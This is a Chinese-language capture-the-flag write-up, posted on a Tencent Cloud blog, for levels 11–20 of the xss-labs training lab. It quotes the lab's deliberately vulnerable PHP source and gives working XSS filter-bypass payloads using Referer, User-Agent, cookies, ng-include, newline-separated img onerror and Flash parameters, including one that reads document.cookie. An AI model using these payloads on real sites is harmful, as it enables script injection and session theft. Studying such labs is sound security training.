前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >xss-labs详解(下)11-20

xss-labs详解(下)11-20

作者头像
wuming
发布2021-01-21 15:57:04
1.5K0
发布2021-01-21 15:57:04
举报
文章被收录于专栏:wuming_CTFwuming_CTF
  1. 1. Level 11
  2. 2. Level 12
  3. 3. Level 13
  4. 4. Level 14
  5. 5. Level 15
    1. 5.0.1. ng-include
    2. 5.0.2. onerror

Level 11

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

查看一波源代码,发现可能在这里存在xss 那么我们使用burp抓包,修改

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

果不其然他是把上一关的链接加上了

Level 12

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

我们先看一下源代码 这次他的值明显就是useragent的内容了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

这个$_SERVER[‘HTTP_USER_AGENT’]就是来获取的

Level 13

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

看源代码觉得和10关很相似,我们全部自己构造参数试试 构造普通一句话

在这里插入图片描述
在这里插入图片描述

只有这里有回显 第一个是refer 第二个是useragant 猜测这个就是cookie的xss了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

Level 14

在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

我们查询一下,需要访问这个网页,

我们使用某种不存在的东西,访问一下 可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

将XSS写到Exif里(PowerExif)exif是PHP拓展,如果要用exif_read_data函数要记得开启拓展。 这是使用demo

代码语言:javascript
复制
<?php
$exif = exif_read_data('test.jpg');
var_dump($exif);
在这里插入图片描述
在这里插入图片描述

==linux系统使用exiftool工具,进行修改。windows系统直接使用鼠标右键进入属性页面直接修改。== 在配置文件php.ini中找到php_exif.dll将其加载顺序替换到php_mbstring.dll的后面,重启Apache打开页面进行读取,弹窗成功 这个网站可以修改

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level 15

代码语言:javascript
复制
<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js被墙了 我们换一个 https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

ng-include 指令用于包含外部的 HTML 文件。 包含的内容将作为指定元素的子节点。

可以看到我们提交的参数src的值被插入到了标签的class属性值中,但是前面还有ng-include这样的字符。

ng-include是angular js中的东西,其作用相当于php的include函数。这里就是将1.png这个文件给包含进来

在这里插入图片描述
在这里插入图片描述

我们这么构造

代码语言:javascript
复制
?src='level1.php?name=<img src=1 onerror=alert(1)>'

就相当于访问了一次level1,同时让1执行了xss

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

ng-include

1.ng-include,如果单纯指定地址,必须要加引号 2.ng-include,加载外部html,script标签中的内容不执行 3.ng-include,加载外部html中含有style标签样式可以识别 1,ng-include指令用于包含外部的HTML文件。

2,包含的内容将作为指定元素的子节点。

3,ng-include属性的值可以是一个表达式,返回一个文件名。

4,某种情况下,包含的文件需要包含在同一个域名下。

onerror

在这里插入图片描述
在这里插入图片描述

Level 16

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

经典一句话,基本都被过滤了, 发现scrip和/被编码为&nbsp; 因为这里把空格都编码了,也就意味着我们无法通过空间来将字符分隔进行语义的区分,不过我们还可以用回车来将它们分开。而且这里将/符号也编码了,所以我们需要的是一个不需要封闭的标签,在一开始之前用过的

可以用回车的URL编码格式%0a来表示。当然%0d也可以。

代码语言:javascript
复制
http://127.0.0.1/xsslabs/xss/level16.php?keyword=<img%0asrc="111"%0aonerror=alert('xss')>
在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

可以看到关键字script以及/符号,空格都被替换成相同的空间字符实体了。这样也没办法去封闭前面的标签了。

Level 17

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

他有两个参数,我们都来一句话看看

发现过滤了括号

在这里插入图片描述
在这里插入图片描述

他这里提示了xsf,是一个flash攻击 它本身的src并没有引号,所以我们直接输入即可

在这里插入图片描述
在这里插入图片描述

火狐没有flash,我们来chrome但是谷歌把xss防住了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

直接使用onclick或者onmouseover即可

Level 18

18关同17关

Level 19

在这里插入图片描述
在这里插入图片描述

因为chrome和fire都不让flash运行,我们只能打开ie

在这里插入图片描述
在这里插入图片描述

src的值使用双引号括起来的 这里有师傅的具体操作 https://baynk.blog.csdn.net/article/details/103213877 arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level 20

level20 仍然是flash的xss

在这里插入图片描述
在这里插入图片描述

一片空白的20关 https://blog.csdn.net/u014029795/article/details/103217680 师傅的博客

代码语言:javascript
复制
level20.php?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

这关确实没思路了 可以试试flash xss扫描工具

在这里插入图片描述
在这里插入图片描述
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-08-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Level 11
  • Level 12
  • Level 13
  • Level 14
  • Level 15
    • ng-include
      • onerror
      • Level 16
      • Level 17
      • Level 18
      • Level 19
      • Level 20
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档